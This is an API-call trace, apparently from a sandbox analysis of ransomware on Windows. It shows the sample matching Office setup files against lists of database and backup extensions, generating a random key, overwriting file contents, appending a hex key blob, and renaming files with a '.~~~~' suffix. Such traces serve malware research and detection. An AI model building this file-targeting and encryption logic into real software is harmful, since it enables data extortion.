	[0081.476] lstrlenW (lpString=".BDB") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.476] lstrlenW (lpString=".eql") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.476] lstrlenW (lpString=".DBF") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.476] lstrlenW (lpString=".EQL") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.476] lstrlenW (lpString=".FDB") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.476] lstrlenW (lpString=".EDB") returned 4
	[0081.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.476] lstrlenW (lpString=".DACPAC") returned 7
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.477] lstrlenW (lpString=".VHD") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.477] lstrlenW (lpString=".DBV") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.477] lstrlenW (lpString=".dacpac") returned 7
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.477] lstrlenW (lpString=".sdf") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.477] lstrlenW (lpString=".accdb") returned 6
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.477] lstrlenW (lpString=".DBX") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.477] lstrlenW (lpString=".MDT") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.477] lstrlenW (lpString=".SQB") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.477] lstrlenW (lpString=".vhd") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.477] lstrlenW (lpString=".bac") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.477] lstrlenW (lpString=".mdf") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.477] lstrlenW (lpString=".BAK") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.477] lstrlenW (lpString=".BAC") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.477] lstrlenW (lpString=".dbs") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.477] lstrlenW (lpString=".vhdx") returned 5
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.477] lstrlenW (lpString=".NDF") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.477] lstrlenW (lpString=".dat") returned 4
	[0081.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.477] lstrlenW (lpString=".DBS") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.478] lstrlenW (lpString=".CKP") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.478] lstrlenW (lpString=".edb") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.478] lstrlenW (lpString=".PST") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.478] lstrlenW (lpString=".dbf") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.478] lstrlenW (lpString=".SQL") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.478] lstrlenW (lpString=".pst") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.478] lstrlenW (lpString=".dbv") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.478] lstrlenW (lpString=".SDF") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.478] lstrlenW (lpString=".dtxs") returned 5
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.478] lstrlenW (lpString=".db3") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.478] lstrlenW (lpString=".OST") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.478] lstrlenW (lpString=".dbx") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.478] lstrlenW (lpString=".DB3") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.478] lstrlenW (lpString=".DAT") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.478] lstrlenW (lpString=".VHDX") returned 5
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.478] lstrlenW (lpString=".ndf") returned 4
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.478] lstrlenW (lpString=".DB") returned 3
	[0081.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.479] lstrlenW (lpString=".sql") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.479] lstrlenW (lpString=".MYD") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.479] lstrlenW (lpString=".DBT") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.479] lstrlenW (lpString=".ACCDB") returned 6
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.479] lstrlenW (lpString=".fdb") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.479] lstrlenW (lpString=".bak") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.479] lstrlenW (lpString=".myd") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.479] lstrlenW (lpString=".DTXS") returned 5
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.479] lstrlenW (lpString=".ckp") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.479] lstrlenW (lpString=".dbt") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.479] lstrlenW (lpString=".db") returned 3
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.479] lstrlenW (lpString=".TXT") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.479] lstrlenW (lpString=".MDF") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.479] lstrlenW (lpString=".bdb") returned 4
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.479] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.480] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.481] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.481] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0081.481] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20147090257) returned 1
	[0081.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a6aca90, dwHighDateTime=0x1d60e1e)) 
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe210
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe210 | out: hHeap=0x300000) returned 1
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.481] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.482] GetLastError () returned 0x0
	[0081.482] GetLastError () returned 0x0
	[0081.482] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.482] GetLastError () returned 0x0
	[0081.482] GetLastError () returned 0x0
	[0081.482] ReadFile (in: hFile=0x118, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x5061, lpOverlapped=0x0) returned 1
	[0081.484] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffaf9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.484] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x5061, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x5061, lpOverlapped=0x0) returned 1
	[0081.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.484] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.484] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.484] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.484] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.485] CloseHandle (hObject=0x118) returned 1
	[0081.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800c00
	[0081.485] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.~~~~")) returned 1
	[0081.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800c00 | out: hHeap=0x300000) returned 1
	[0081.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.488] GetLastError () returned 0x0
	[0081.488] RtlWakeConditionVariable () returned 0x365f70
	[0081.488] GetCurrentThreadId () returned 0x9f4
	[0081.488] GetCurrentThreadId () returned 0x9f4
	[0081.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0140 | out: hHeap=0x300000) returned 1
	[0081.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe248 | out: hHeap=0x300000) returned 1
	[0081.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0140
	[0081.488] lstrlenW (lpString=".scr") returned 4
	[0081.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".scr") returned 0x0
	[0081.488] lstrlenW (lpString=".cmd") returned 4
	[0081.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".cmd") returned 0x0
	[0081.488] lstrlenW (lpString=".dll") returned 4
	[0081.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dll") returned 0x0
	[0081.488] lstrlenW (lpString=".bat") returned 4
	[0081.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".bat") returned 0x0
	[0081.488] lstrlenW (lpString=".cpl") returned 4
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".cpl") returned 0x0
	[0081.489] lstrlenW (lpString=".sys") returned 4
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".sys") returned 0x0
	[0081.489] lstrlenW (lpString=".msc") returned 4
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".msc") returned 0x0
	[0081.489] lstrlenW (lpString=".com") returned 4
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".com") returned 0x0
	[0081.489] lstrlenW (lpString=".lnk") returned 4
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".lnk") returned 0x0
	[0081.489] lstrlenW (lpString=".msp") returned 4
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".msp") returned 0x0
	[0081.489] lstrlenW (lpString=".pif") returned 4
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".pif") returned 0x0
	[0081.489] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.489] lstrlenW (lpString=".sqb") returned 4
	[0081.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".sqb") returned 0x0
	[0081.489] lstrlenW (lpString=".ost") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".ost") returned 0x0
	[0081.490] lstrlenW (lpString=".txt") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".txt") returned 0x0
	[0081.490] lstrlenW (lpString=".mdt") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".mdt") returned 0x0
	[0081.490] lstrlenW (lpString=".BDB") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".BDB") returned 0x0
	[0081.490] lstrlenW (lpString=".eql") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".eql") returned 0x0
	[0081.490] lstrlenW (lpString=".DBF") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DBF") returned 0x0
	[0081.490] lstrlenW (lpString=".EQL") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".EQL") returned 0x0
	[0081.490] lstrlenW (lpString=".FDB") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".FDB") returned 0x0
	[0081.490] lstrlenW (lpString=".EDB") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".EDB") returned 0x0
	[0081.490] lstrlenW (lpString=".DACPAC") returned 7
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DACPAC") returned 0x0
	[0081.490] lstrlenW (lpString=".VHD") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".VHD") returned 0x0
	[0081.490] lstrlenW (lpString=".DBV") returned 4
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".DBV") returned 0x0
	[0081.490] lstrlenW (lpString=".dacpac") returned 7
	[0081.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpSrch=".dacpac") returned 0x0
	[0081.490] lstrlenW (lpString=".sdf") returned 4
